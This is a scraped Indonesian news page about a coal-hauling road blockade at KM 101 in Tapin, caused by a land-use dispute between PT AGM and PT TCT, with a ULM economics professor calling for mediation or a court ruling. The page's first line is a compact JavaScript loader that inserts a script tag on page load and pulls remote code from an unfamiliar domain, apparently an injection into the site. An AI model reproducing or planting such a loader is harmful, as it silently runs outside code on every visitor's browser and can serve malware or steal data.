(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tapin

Blokade Jalan Km 101 Tapin Buntut Persoalan AGM dan TCT, Guru Besar ULM Angkat Bicara


KANALKALIMANTAN.COM, RANTAU – Para sopir dan pekerja tongkang ikut terdampak police line dan blokade jalan hauling, khusus batu bara di KM 101 Tapin. Sudah lebih dari 10 hari, sejak blokade jalan terjadi pada 28 November 2021, para pekerja itu tanpa penghasilan.

Guru Besar Ilmu Ekonomi FEB Universitas Lambung Mangkurat (ULM), Prof Muhammad Handry Imansyah, mengatakan, persoalan yang terjadi antara PT Antang Gunung Meratus (AGM) dan PT Tapin Coal Terminal (TCT) harus segera diselesaikan. Mediasi diperlukan untuk mempertemukan perbedaan dua kepentingan.

Namun demikian, menurut Prof Handry, jika mediasi buntu maka pemerintah daerah dan DPRD Tapin memiliki daya paksa untuk menyelesaikan masalah ini. Pasalnya blokade jalan hauling KM 101 merugikan perekonomian banyak pihak di daerah tersebut.

“Tentu banyak pihak yang dirugikan. Termasuk masyarakat luas. Negosiasi dan mediasi bisa dilakukan antarpihak demi kepentingan bersama yang lebih besar. Jika mediasi buntu, pemerintah dan DPRD punya daya paksa,” ujarnya kepada wartawan akhir pekan ini.

 

Baca juga : Didatangi Forkopimda, Pengunjung Cafe di Martapura Vaksinasi di Tempat

Prof Handry menambahkan, sengketa yang terjadi diantara kedua perusahaan harus segera diselesaikan. Jika salah satu pihak merasa dirugikan, melalui mediasi hal tersebut semestinya dapat dicari solusinya.

Jika kemudian proses mediasi mengalami jalan buntu, Prof Handry, menyarankan agar kedua perusahaan yang bersengketa menyelesaikan persoalan melalui jalur pengadilan.

“Pengadilan adalah salah satu langkah terakhir untuk menyelesaikan sengketa. Jika memungkinkan, jalan hauling itu pun bisa dibuka terlebih dahulu sembari perundingan atau sidang di pengadilan berjalan,” tegasnya.

Sebelum adanya police line dan blokade KM 101, aktivitas di jalan hauling tersebut berjalan normal. Hal itu dimulai dari kerjasama penggunaan lahan sejak tahun 2010.

 

Baca juga : IDI: Indonesia Sudah Lewati Krisis Pandemi Covid

Pada tahun 2010 tersebut, PT BMSS dan PT AGM (pemegang ijin PKP2B) sudah mendapat izin pembangunan underpass oleh Gubernur Kalsel melalui PT BBC (salah satu perusahaan dalam group BMSS). Pada saat itu Anugerah Tapin Persada (ATP) juga mengajukan permohonan izin pembangunan underpass.

Namun, Gubernur Kalsel saat itu Rudy Arifin, meminta agar ATP bekerja sama dengan BMSS dan AGM dalam pembangunan underpass karena izinnya sudah keluar terlebih dahulu.

Belum selesai dibangun, PT ATP jatuh pailit. Kemudian Tim Kurator PT ATP (dalam pailit) yang ditunjuk pengadilan, mendapatkan izin dari pengadilan untuk menandatangani Perjanjian 2010 dengan PT AGM dan PT BMSS, agar proyek jalan khusus tambang dan Pelabuhan khusus PT ATP (dalam pailit) dapat terus berlanjut.

Dapat juga disampaikan bahwa Perjanjian 2010 lahir dari iktikad baik PT AGM untuk bersama-sama menjalankan bisnis secara berdampingan.

 

Baca juga : Warga Bersama Wali Kota Bersihkan Drainase Tersumbat

Inti dari kesepakatan itu adalah tukar pakai tanah antara PT AGM dan PT ATP, yang di mana PT ATP berhak untuk menggunakan tanah PT AGM seluas 1824 m2 di sebelah timur underpass KM 101 untuk jalan hauling ATP. Kemudian, PT AGM berhak memakai tanah PT ATP di sebelah barat underpass KM 101 untuk jalan hauling PT AGM.

Dalam perjanjian 2010 juga terdapat sejumlah poin kesepakatan yang mengikat kedua perusahaan, yaitu pertama, perjanjian berlaku sepanjang tanah tukar pakai masih digunakan untuk jalan hauling.

Kedua, Perjanjian tidak berakhir dengan berpindahnya kepemilikan tanah. Ketiga, perjanjian berlaku mengikat kepada para pihak penerus atau pengganti dari pihak yang membuat perjanjian.

Ketika proyek jalan khusus tambang dan pelabuhan PT ATP beralih kepada PT TCT, perjanjian 2010 tetap dilaksanakan baik oleh PT AGM maupun PT TCT selama sepuluh tahun sejak sekitar 2011. Namun, sejak Oktober 2021 kemarin, terjadi sengketa wilayah di lahan tersebut. Akhir November 2021, polisi memasang garis polisi yang diikuti blokade oleh PT TCT di wilayah kilometer 101 Tapin. (Kanalkalimantan.com/al)

Reporter : al
Editor : cell


Desy Arfianty

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

2 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

2 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

3 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

3 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

5 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

5 jam ago

This website uses cookies.